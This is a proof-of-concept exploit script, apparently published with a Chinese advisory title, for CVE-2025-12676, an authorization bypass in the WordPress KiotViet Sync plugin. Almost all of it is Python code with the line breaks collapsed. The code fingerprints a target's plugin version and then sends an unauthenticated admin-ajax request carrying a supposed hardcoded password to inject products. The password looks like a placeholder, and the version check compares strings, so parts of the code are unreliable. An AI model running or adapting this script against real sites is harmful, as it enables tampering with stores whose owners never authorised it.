CVE-2025-12676 WordPress KiotViet Sync插件硬编码密码授权绕过漏洞

import requests import json # CVE-2025-12676 PoC - KiotViet Sync Plugin Authorization Bypass # Target: WordPress site with KiotViet Sync plugin < 1.8.6 TARGET_URL = "http://target-wordpress-site.com" # Hardcoded password used in QueryControllerAdmin::authenticated function HARDCODED_PASSWORD = "kiotviet_sync_auth_token_2024" def exploit_unauthorized_product_sync(): """ Exploit the hardcoded password authentication bypass in KiotViet Sync plugin. This allows unauthenticated attackers to create and sync products. """ # Endpoint for product sync operation endpoint = f"{TARGET_URL}/wp-admin/admin-ajax.php" # Payload to bypass authentication and create/sync products payload = { 'action': 'kiotviet_sync_products', 'auth_password': HARDCODED_PASSWORD, 'product_data': json.dumps({ 'name': 'Malicious Product', 'sku': 'CVE-2025-12676', 'price': 999, 'description': 'Injected via authorization bypass vulnerability' }) } try: response = requests.post(endpoint, data=payload, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") if response.status_code == 200: print("[+] Successfully exploited CVE-2025-12676") return True else: print("[-] Exploitation failed") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False def check_vulnerability(): """ Check if target is vulnerable to CVE-2025-12676 """ endpoint = f"{TARGET_URL}/wp-content/plugins/kiotvietsync/readme.txt" try: response = requests.get(endpoint, timeout=10) if 'Version:' in response.text: # Extract version number for line in response.text.split('\n'): if line.startswith('Version:'): version = line.split(':')[1].strip() print(f"[*] KiotViet Sync version: {version}") if version <= '1.8.5': print("[!] Target is likely vulnerable") return True return False except: return None if __name__ == "__main__": print("CVE-2025-12676 Exploitation Tool") print("=" * 50) check_vulnerability() exploit_unauthorized_product_sync()